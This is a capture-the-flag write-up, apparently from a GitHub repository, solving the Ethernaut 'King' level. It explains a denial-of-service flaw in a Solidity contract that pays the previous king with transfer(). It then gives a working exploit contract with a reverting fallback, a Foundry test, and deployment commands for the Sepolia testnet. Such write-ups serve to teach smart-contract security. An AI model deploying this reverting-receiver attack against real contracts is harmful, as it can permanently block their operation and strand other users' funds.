Skip to content
This repository has been archived by the owner on Dec 11, 2024. It is now read-only.

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

👾 09. King


tl; dr


  • the King contract represents a simple ponzi where whoever sends the largest amount of ether (larger than the current prize value) becomes the new king. in this event, the previous king gets paid the new prize.

  • this contract is vulnerable because it trusts the external input of msg.value when running transfer(msg.value).
    • it assumes that the king is an EOA, which could also be a contract.
    • our goal is to explore this vulnerability to not let anyone else become the king.


contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}


discussion


  • the King contract starts with three state variables that are set in the constructor:
  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  • king is initially the person who deployed the contract and sets prize (the current value to be bet by someone to become king). the only requirement is that the ether sent to the contract must be larger than prize.

  • following we have the receive() function and a getter for king. to become a king one needs to either be owner or send a value for prize larger than its current. since we didn't deploy the contract, the first option is not available:
  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }

  • looking at receive(), we see that after we send enough prize, a payable function is triggered to pay prize to the previous king.
    • it uses transfer(address), which sends the amount of wei to address, throwing an error on failure.
    • sending ether to EOAs is usually performed via transfer() method, but remember that there are a few ways of performing external calls in solidity.
    • the send() function also consumes 2300 gas, but returns a bool.
    • finally, the call() function and the CALL opcode can be directly employed, forwarding all gas and returning a bool.

  • in addition, note that this contract has no error handling, so an obvious security issue is unchecked call return values.
    • in other words, each time a contract sends ether to another, it depends on the other contract’s code to handle the transaction and determine its success.
    • for instance, the contract might not have a payable fallback(), or have a malicious fallback() or payable function.
    • if the new king is a contract address instead of a EOA, it could redirect transfer() and revert its transaction, skipping the execution of the next lines:
king = msg.sender;
prize = msg.value;


solution


  • we write our exploit at src/09/KingExploit.sol. note that the fallback() is optional for winning the challenge, but we add it here to make very clear the point that no eth should be sent (i.e., there won't be a new king):

contract KingExploit {

    constructor(address instance) payable {
        (bool success,) = address(instance).call{value: msg.value}("");
        require(success);
    }

    fallback() external payable {
        revert();
    }
}

  • we test this script with test/09/King.t.sol:

contract KingTest is Test {

    King public king;
    KingExploit public exploit;
    uint256 public prize;
    address payable instance = payable(vm.addr(0x10053)); 
    address hacker = vm.addr(0x1337); 

    function setUp() public {
        vm.prank(instance);  
        vm.deal(instance, 0.1 ether); 
        king = new King{value: 0.1 ether}();
        prize = king.prize();
    }

    function testKingtHack() public {

        vm.startPrank(hacker);

        assertEq(king.owner(), instance);
        assertEq(king._king(), instance);
        assertEq(king.prize(), prize);

        vm.deal(hacker, prize + 1); 
        exploit = new KingExploit{value: prize + 1}(address(king));

        assertEq(king._king(), address(exploit));
        assertEq(king.prize(), prize + 1);

        vm.stopPrank();
        
    }
}

  • running with:

> forge test --match-contract KingTest -vvvv    

  • then, we craft the submission script at script/09/King.s.sol:

contract Exploit is Script {

    King public king;
    KingExploit public exploit;    
    address payable instance = payable(vm.envAddress("INSTANCE_LEVEL9"));  
    address hacker = vm.rememberKey(vm.envUint("PRIVATE_KEY"));    
    uint256 immutable initialDeposit = 0.001 ether; 
          
    function run() external {
        vm.startBroadcast(hacker);
        king = King(instance);
        exploit = new KingExploit{value: king.prize() + initialDeposit}(address(king));
        vm.stopBroadcast();
    }
}

  • and finish the problem running:

> forge script ./script/09/King.s.sol --broadcast -vvvv --rpc-url sepolia


alternative solution using cast


  • deploy the exploit with:

> forge create src/09/KingExploit.sol:Contract --constructor-args=<level address> --private-key=<private-key> --rpc-url=<sepolia url> --value 1000000000000000wei

  • then call the contract with:

> cast send <deployed address> --value 0.0001ether --private-key=<private-key> --rpc-url=<sepolia url> 


pwned...